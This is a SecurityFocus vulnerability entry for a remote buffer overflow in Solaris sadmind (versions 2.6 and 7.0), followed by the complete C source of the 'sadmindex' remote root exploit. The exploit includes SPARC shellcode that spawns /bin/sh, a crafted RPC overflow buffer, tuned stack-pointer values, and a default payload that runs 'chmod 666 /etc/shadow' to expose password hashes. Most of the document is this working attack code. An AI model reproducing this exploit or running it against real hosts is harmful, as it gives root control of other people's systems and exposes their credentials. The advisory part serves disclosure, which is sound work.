source: http://www.securityfocus.com/bid/866/info

Certain versions of Solaris ship with a version of sadmind which is vulnerable to a remotely exploitable buffer overflow attack. sadmind is the daemon used by Solstice AdminSuite applications to perform distributed system administration operations such as adding users. The sadmind daemon is started automatically by the inetd daemon whenever a request to invoke an operation is received.

Under vulnerable versions of sadmind (2.6 and 7.0 have been tested), if a long buffer is passed to a NETMGT_PROC_SERVICE request (called via clnt_call()), it is possible to overwrite the stack pointer and execute arbitrary code. The actual buffer in questions appears to hold the client's domain name. The overflow in sadmind takes place in the get_auth() function, part of the /usr/snadm/lib/libmagt.so.2 library. Because sadmind runs as root any code launched as a result will run as with root privileges, therefore resulting in a root compromise. 

/**
***  sadmindex - SPARC Solaris remote root exploit for /usr/sbin/sadmind
***
***  Tested and confirmed under Solaris 2.6 and 7.0 (SPARC)
***
***  Usage:  % sadmindex -h hostname -c command -s sp [-o offset] \
***                      [-a alignment] [-p]
***
***  where hostname is the hostname of the machine running the vulnerable
***  system administration daemon, command is the command to run as root
***  on the vulnerable machine, sp is the %sp stack pointer value, offset
***  is the number of bytes to add to sp to calculate the desired return
***  address, and alignment is the number of bytes needed to correctly
***  align the contents of the exploit buffer.
***
***  If run with a -p option, the exploit will only "ping" sadmind on the
***  remote machine to start it running.  The daemon will be otherwise
***  untouched.  Since pinging the daemon does not require an exploit
***  buffer to be constructed, you can safely omit the -c and -s options
***  if you use -p.
***
***  When specifying a command, be sure to pass it to the exploit as a
***  single argument, namely enclose the command string in quotes if it
***  contains spaces or other special shell delimiter characters.  The
***  exploit will pass this string without modification to /bin/sh -c on
***  the remote machine, so any normally allowed Bourne shell syntax is
***  also allowed in the command string.  The command string and the
***  assembly code to run it must fit inside a buffer of 512 bytes, so
***  the command string has a maximum length of about 380 bytes or so.
***
***  Due to the nature of the target overflow in sadmind, the exploit is
***  extremely sensitive to the %sp stack pointer value that is provided
***  when the exploit is run.  The %sp stack pointer must be specified
***  with the exact required value, leaving no room for error.  I have
***  provided confirmed values for Solaris running on a Sun SPARCengine
***  Ultra AXi machine running Solaris 2.6 5/98 and on a SPARCstation 1
***  running Solaris 7.0 10/98.  On each system, sadmind was started from
***  an instance of inetd that was started at boot time by init.  There
***  is a strong possibility that the demonstration values will not work
***  due to differing sets of environment variables, for example if the
***  the running inetd on the remote machine was started manually from an
***  interactive shell.  If you find that the sample value for %sp does
***  not work, try adjusting the value by -2048 to 2048 from the sample in
***  increments of 8 for starters.  The offset parameter and the alignment
***  parameter have default values that will be used if no overriding
***  values are specified on the command line.  The default values should
***  be suitable and it will not likely be necessary to override them.
***
***  Demonstration values for SPARC Solaris:
***
***  (2.6)  sadmindex -h host.example.com -c "touch HEH" -s 0xefff9580
***  (7.0)  sadmindex -h host.example.com -c "touch HEH" -s 0xefff9418
***
***  THIS CODE FOR EDUCATIONAL USE ONLY IN AN ETHICAL MANNER
***
***  Cheez Whiz
***  cheezbeast@hotmail.com
***
***  June 24, 1999
**/

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <rpc/rpc.h>

#define NETMGT_PROG 100232
#define NETMGT_VERS 10
#define NETMGT_PROC_PING 0
#define NETMGT_PROC_SERVICE 1

#define NETMGT_UDP_PING_TIMEOUT 30
#define NETMGT_UDP_PING_RETRY_TIMEOUT 5
#define NETMGT_UDP_SERVICE_TIMEOUT 1
#define NETMGT_UDP_SERVICE_RETRY_TIMEOUT 2

#define NETMGT_HEADER_TYPE 6
#define NETMGT_ARG_INT 3
#define NETMGT_ARG_STRING 9
#define NETMGT_ENDOFARGS "netmgt_endofargs"

#define ADM_FW_VERSION "ADM_FW_VERSION"
#define ADM_CLIENT_DOMAIN "ADM_CLIENT_DOMAIN"
#define ADM_FENCE "ADM_FENCE"

#define BUFLEN 1076		/* 256+256+32+32+512-12 */
#define ADDRLEN 560		/* 256+256+32+32-4-12 */
#define FRAMELEN1 608
#define FRAMELEN2 4200
#define LEN 84

#define OFFSET 688		/* default offset */
#define ALIGNMENT 4		/* default alignment */

#define NOP 0x801bc00f		/* xor %o7,%o7,%g0 */

char shell[] =
/*   0 */ "\x20\xbf\xff\xff"                 /* bn,a ?          */
/* skip:                                                        */
/*   4 */ "\x20\xbf\xff\xff"                 /* bn,a ?          */
/*   8 */ "\x7f\xff\xff\xff"                 /* call skip       */
/* execve:                                                      */
/*  12 */ "\x90\x03\xe0\x5c"                 /* add %o7,92,%o0  */
/*  16 */ "\x92\x22\x20\x10"                 /* sub %o0,16,%o1  */
/*  20 */ "\x94\x1b\xc0\x0f"                 /* xor %o7,%o7,%o2 */
/*  24 */ "\xec\x02\x3f\xf0"                 /* ld [%o0-16],%l6 */
/*  28 */ "\xac\x22\x80\x16"                 /* sub %o2,%l6,%l6 */
/*  32 */ "\xae\x02\x60\x10"                 /* add %o1,16,%l7  */
/*  36 */ "\xee\x22\x3f\xf0"                 /* st %l7,[%o0-16] */
/*  40 */ "\xae\x05\xe0\x08"                 /* add %l7,8,%l7   */
/*  44 */ "\xc0\x2d\xff\xff"                 /* stb %g0,[%l7-1] */
/*  48 */ "\xee\x22\x3f\xf4"                 /* st %l7,[%o0-12] */
/*  52 */ "\xae\x05\xe0\x03"                 /* add %l7,3,%l7   */
/*  56 */ "\xc0\x2d\xff\xff"                 /* stb %g0,[%l7-1] */
/*  60 */ "\xee\x22\x3f\xf8"                 /* st %l7,[%o0-8]  */
/*  64 */ "\xae\x05\xc0\x16"                 /* add %l7,%l6,%l7 */
/*  68 */ "\xc0\x2d\xff\xff"                 /* stb %g0,[%l7-1] */
/*  72 */ "\xc0\x22\x3f\xfc"                 /* st %g0,[%o0-4]  */
/*  76 */ "\x82\x10\x20\x3b"                 /* mov 59,%g1      */
/*  80 */ "\x91\xd0\x20\x08"                 /* ta 8            */
/* data:                                                        */
/*  84 */ "\xff\xff\xff\xff"                 /* DATA            */
/*  88 */ "\xff\xff\xff\xff"                 /* DATA            */
/*  92 */ "\xff\xff\xff\xff"                 /* DATA            */
/*  96 */ "\xff\xff\xff\xff"                 /* DATA            */
/* 100 */ "\x2f\x62\x69\x6e\x2f\x73\x68\xff" /* DATA            */
/* 108 */ "\x2d\x63\xff";                    /* DATA            */

extern char *optarg;

struct nm_send_header {
    struct timeval timeval1;
    struct timeval timeval2;
    struct timeval timeval3;
    unsigned int uint1;
    unsigned int uint2;
    unsigned int uint3;
    unsigned int uint4;
    unsigned int uint5;
    struct in_addr inaddr1;
    struct in_addr inaddr2;
    unsigned long ulong1;
    unsigned long ulong2;
    struct in_addr inaddr3;
    unsigned long ulong3;
    unsigned long ulong4;
    unsigned long ulong5;
    struct timeval timeval4;
    unsigned int uint6;
    struct timeval timeval5;
    char *string1;
    char *string2;
    char *string3;
    unsigned int uint7;
};

struct nm_send_arg_int {
    char *string1;
    unsigned int uint1;
    unsigned int uint2;
    int int1;
    unsigned int uint3;
    unsigned int uint4;
};

struct nm_send_arg_string {
    char *string1;
    unsigned int uint1;
    unsigned int uint2;
    char *string2;
    unsigned int uint3;
    unsigned int uint4;
};

struct nm_send_footer {
    char *string1;
};

struct nm_send {
    struct nm_send_header header;
    struct nm_send_arg_int version;
    struct nm_send_arg_string string;
    struct nm_send_arg_int fence;
    struct nm_send_footer footer;
};

struct nm_reply {
    unsigned int uint1;
    unsigned int uint2;
    char *string1;
};

bool_t
xdr_nm_send_header(XDR *xdrs, struct nm_send_header *objp)
{
    char *addr;
    size_t size = sizeof(struct in_addr);

    if (!xdr_long(xdrs, &objp->timeval1.tv_sec))
	return (FALSE);
    if (!xdr_long(xdrs, &objp->timeval1.tv_usec))
	return (FALSE);
    if (!xdr_long(xdrs, &objp->timeval2.tv_sec))
	return (FALSE);
    if (!xdr_long(xdrs, &objp->timeval2.tv_usec))
	return (FALSE);
    if (!xdr_long(xdrs, &objp->timeval3.tv_sec))
	return (FALSE);
    if (!xdr_long(xdrs, &objp->timeval3.tv_usec))
	return (FALSE);
    if (!xdr_u_int(xdrs, &objp->uint1))
	return (FALSE);
    if (!xdr_u_int(xdrs, &objp->uint2))
	return (FALSE);
    if (!xdr_u_int(xdrs, &objp->uint3))
	return (FALSE);
    if (!xdr_u_int(xdrs, &objp->uint4))
	return (FALSE);
    if (!xdr_u_int(xdrs, &objp->uint5))
	return (FALSE);
    addr = (char *) &objp->inaddr1.s_addr;
    if (!xdr_bytes(xdrs, &addr, &size, size))
	return (FALSE);
    addr = (char *) &objp->inaddr2.s_addr;
    if (!xdr_bytes(xdrs, &addr, &size, size))
	return (FALSE);
    if (!xdr_u_long(xdrs, &objp->ulong1))
	return (FALSE);
    if (!xdr_u_long(xdrs, &objp->ulong2))
	return (FALSE);
    addr = (char *) &objp->inaddr3.s_addr;
    if (!xdr_bytes(xdrs, &addr, &size, size))
	return (FALSE);
    if (!xdr_u_long(xdrs, &objp->ulong3))
	return (FALSE);
    if (!xdr_u_long(xdrs, &objp->ulong4))
	return (FALSE);
    if (!xdr_u_long(xdrs, &objp->ulong5))
	return (FALSE);
    if (!xdr_long(xdrs, &objp->timeval4.tv_sec))
	return (FALSE);
    if (!xdr_long(xdrs, &objp->timeval4.tv_usec))
	return (FALSE);
    if (!xdr_u_int(xdrs, &objp->uint6))
	return (FALSE);
    if (!xdr_long(xdrs, &objp->timeval5.tv_sec))
	return (FALSE);
    if (!xdr_long(xdrs, &objp->timeval5.tv_usec))
	return (FALSE);
    if (!xdr_wrapstring(xdrs, &objp->string1))
	return (FALSE);
    if (!xdr_wrapstring(xdrs, &objp->string2))
	return (FALSE);
    if (!xdr_wrapstring(xdrs, &objp->string3))
	return (FALSE);
    if (!xdr_u_int(xdrs, &objp->uint7))
	return (FALSE);
    return (TRUE);
}

bool_t
xdr_nm_send_arg_int(XDR *xdrs, struct nm_send_arg_int *objp)
{
    if (!xdr_wrapstring(xdrs, &objp->string1))
	return (FALSE);
    if (!xdr_u_int(xdrs, &objp->uint1))
	return (FALSE);
    if (!xdr_u_int(xdrs, &objp->uint2))
	return (FALSE);
    if (!xdr_int(xdrs, &objp->int1))
	return (FALSE);
    if (!xdr_u_int(xdrs, &objp->uint3))
	return (FALSE);
    if (!xdr_u_int(xdrs, &objp->uint4))
	return (FALSE);
    return (TRUE);
}

bool_t
xdr_nm_send_arg_string(XDR *xdrs, struct nm_send_arg_string *objp)
{
    if (!xdr_wrapstring(xdrs, &objp->string1))
	return (FALSE);
    if (!xdr_u_int(xdrs, &objp->uint1))
	return (FALSE);
    if (!xdr_u_int(xdrs, &objp->uint2))
	return (FALSE);
    if (!xdr_wrapstring(xdrs, &objp->string2))
	return (FALSE);
    if (!xdr_u_int(xdrs, &objp->uint3))
	return (FALSE);
    if (!xdr_u_int(xdrs, &objp->uint4))
	return (FALSE);
    return (TRUE);
}

bool_t
xdr_nm_send_footer(XDR *xdrs, struct nm_send_footer *objp)
{
    if (!xdr_wrapstring(xdrs, &objp->string1))
	return (FALSE);
    return (TRUE);
}

bool_t
xdr_nm_send(XDR *xdrs, struct nm_send *objp)
{
    if (!xdr_nm_send_header(xdrs, &objp->header))
	return (FALSE);
    if (!xdr_nm_send_arg_int(xdrs, &objp->version))
	return (FALSE);
    if (!xdr_nm_send_arg_string(xdrs, &objp->string))
	return (FALSE);
    if (!xdr_nm_send_arg_int(xdrs, &objp->fence))
	return (FALSE);
    if (!xdr_nm_send_footer(xdrs, &objp->footer))
	return (FALSE);
    return (TRUE);
}

bool_t
xdr_nm_reply(XDR *xdrs, struct nm_reply *objp)
{
    if (!xdr_u_int(xdrs, &objp->uint1))
	return (FALSE);
    if (!xdr_u_int(xdrs, &objp->uint2))
	return (FALSE);
    if (!xdr_wrapstring(xdrs, &objp->string1))
	return (FALSE);
    return (TRUE);
}

int
main(int argc, char *argv[])
{
    CLIENT *cl;
    struct nm_send send;
    struct nm_reply reply;
    struct timeval tm;
    enum clnt_stat stat;
    int c, i, len, slen, clen;
    char *program, *cp, buf[BUFLEN+1];
    char *hostname, *command;
    int offset, alignment, pinging = 0;
    unsigned long int sp = 0, fp, addr;

    program = argv[0];
    hostname = "localhost";
    command = "chmod 666 /etc/shadow";
    offset = OFFSET; alignment = ALIGNMENT;
    while ((c = getopt(argc, argv, "h:c:s:o:a:p")) != EOF) {
	switch (c) {
	case 'h':
	    hostname = optarg;
	    break;
	case 'c':
	    command = optarg; 
	    break;
	case 's':
	    sp = strtoul(optarg, NULL, 0);
	    break;
	case 'o':
	    offset = (int) strtol(optarg, NULL, 0);
	    break;
	case 'a':
	    alignment = (int) strtol(optarg, NULL, 0);
	    break;
	case 'p':
	    pinging = 1;
	    break;
	default:
	    fprintf(stderr, "usage: %s -h hostname -c command -s sp "
		    "[-o offset] [-a alignment] [-p]\n", program);
	    exit(1);
	    break;
	}
    }
    memset(buf, '\xff', BUFLEN);
    fp = sp + FRAMELEN1 + FRAMELEN2; fp &= 0xfffffff8;
    addr = sp + offset; addr &= 0xfffffffc;
    for (i = 0, cp = buf + alignment; i < ADDRLEN / 8; i++) {
	*cp++ = (fp >> 24) & 0xff;
	*cp++ = (fp >> 16) & 0xff;
	*cp++ = (fp >>  8) & 0xff;
	*cp++ = (fp >>  0) & 0xff;
	*cp++ = (addr >> 24) & 0xff;
	*cp++ = (addr >> 16) & 0xff;
	*cp++ = (addr >>  8) & 0xff;
	*cp++ = (addr >>  0) & 0xff;
    }
    slen = strlen(shell); clen = strlen(command);
    len = BUFLEN - 1 - clen - slen - ADDRLEN - alignment; len &= 0xfffffffc;
    for (i = 0; i < len / 4; i++) {
	*cp++ = (NOP >> 24) & 0xff;
	*cp++ = (NOP >> 16) & 0xff;
	*cp++ = (NOP >>  8) & 0xff;
	*cp++ = (NOP >>  0) & 0xff;
    }
    len = clen; len++; len = -len;
    shell[LEN+0] = (len >> 24) & 0xff;
    shell[LEN+1] = (len >> 16) & 0xff;
    shell[LEN+2] = (len >>  8) & 0xff;
    shell[LEN+3] = (len >>  0) & 0xff;
    memcpy(cp, shell, slen); cp += slen;
    memcpy(cp, command, clen);
    buf[BUFLEN] = '\0';
    memset(&send, 0, sizeof(struct nm_send));
    send.header.uint2 = NETMGT_HEADER_TYPE;
    send.header.string1 = "";
    send.header.string2 = "";
    send.header.string3 = "";
    send.header.uint7 =
	strlen(ADM_FW_VERSION) + 1 +
	(4 * sizeof(unsigned int)) + sizeof(int) +
	strlen(ADM_CLIENT_DOMAIN) + 1 +
	(4 * sizeof(unsigned int)) + strlen(buf) + 1 +
	strlen(ADM_FENCE) + 1 +
	(4 * sizeof(unsigned int)) + sizeof(int) +
	strlen(NETMGT_ENDOFARGS) + 1;
    send.version.string1 = ADM_FW_VERSION;
    send.version.uint1 = NETMGT_ARG_INT;
    send.version.uint2 = sizeof(int);
    send.version.int1 = 1;
    send.string.string1 = ADM_CLIENT_DOMAIN;
    send.string.uint1 = NETMGT_ARG_STRING;
    send.string.uint2 = strlen(buf);
    send.string.string2 = buf;
    send.fence.string1 = ADM_FENCE;
    send.fence.uint1 = NETMGT_ARG_INT;
    send.fence.uint2 = sizeof(int);
    send.fence.int1 = 666;
    send.footer.string1 = NETMGT_ENDOFARGS;
    cl = clnt_create(hostname, NETMGT_PROG, NETMGT_VERS, "udp");
    if (cl == NULL) {
	clnt_pcreateerror("clnt_create");
	exit(1);
    }
    cl->cl_auth = authunix_create("localhost", 0, 0, 0, NULL);
    if (!pinging) {
	fprintf(stdout,
		"%%sp 0x%08lx offset %d --> return address 0x%08lx [%d]\n",
		sp, offset, addr, alignment);
	fprintf(stdout,
		"%%sp 0x%08lx with frame length %d --> %%fp 0x%08lx\n",
		sp, FRAMELEN1 + FRAMELEN2, fp);
	tm.tv_sec = NETMGT_UDP_SERVICE_TIMEOUT; tm.tv_usec = 0;
	if (!clnt_control(cl, CLSET_TIMEOUT, (char *) &tm)) {
	    fprintf(stderr, "exploit failed; unable to set timeout\n");
	    exit(1);
	}
	tm.tv_sec = NETMGT_UDP_SERVICE_RETRY_TIMEOUT; tm.tv_usec = 0;
	if (!clnt_control(cl, CLSET_RETRY_TIMEOUT, (char *) &tm)) {
	    fprintf(stderr, "exploit failed; unable to set timeout\n");
	    exit(1);
	}
	stat = clnt_call(cl, NETMGT_PROC_SERVICE,
			 xdr_nm_send, (caddr_t) &send,
			 xdr_nm_reply, (caddr_t) &reply, tm);
	if (stat != RPC_SUCCESS) {
	    clnt_perror(cl, "clnt_call");
	    fprintf(stdout, "now check if exploit worked; "
		    "RPC failure was expected\n");
	    exit(0);
	}
	fprintf(stderr, "exploit failed; "
		"RPC succeeded and returned { %u, %u, \"%s\" }\n",
		reply.uint1, reply.uint2, reply.string1);
	clnt_destroy(cl);
	exit(1);
    } else {
	tm.tv_sec = NETMGT_UDP_PING_TIMEOUT; tm.tv_usec = 0;
	if (!clnt_control(cl, CLSET_TIMEOUT, (char *) &tm)) {
	    fprintf(stderr, "exploit failed; unable to set timeout\n");
	    exit(1);
	}
	tm.tv_sec = NETMGT_UDP_PING_RETRY_TIMEOUT; tm.tv_usec = 0;
	if (!clnt_control(cl, CLSET_RETRY_TIMEOUT, (char *) &tm)) {
	    fprintf(stderr, "exploit failed; unable to set timeout\n");
	    exit(1);
	}
	stat = clnt_call(cl, NETMGT_PROC_PING,
			 xdr_void, NULL,
			 xdr_void, NULL, tm);
	if (stat != RPC_SUCCESS) {
	    clnt_perror(cl, "clnt_call");
	    exit(1);
	}
	clnt_destroy(cl);
	exit(0);
    }
}
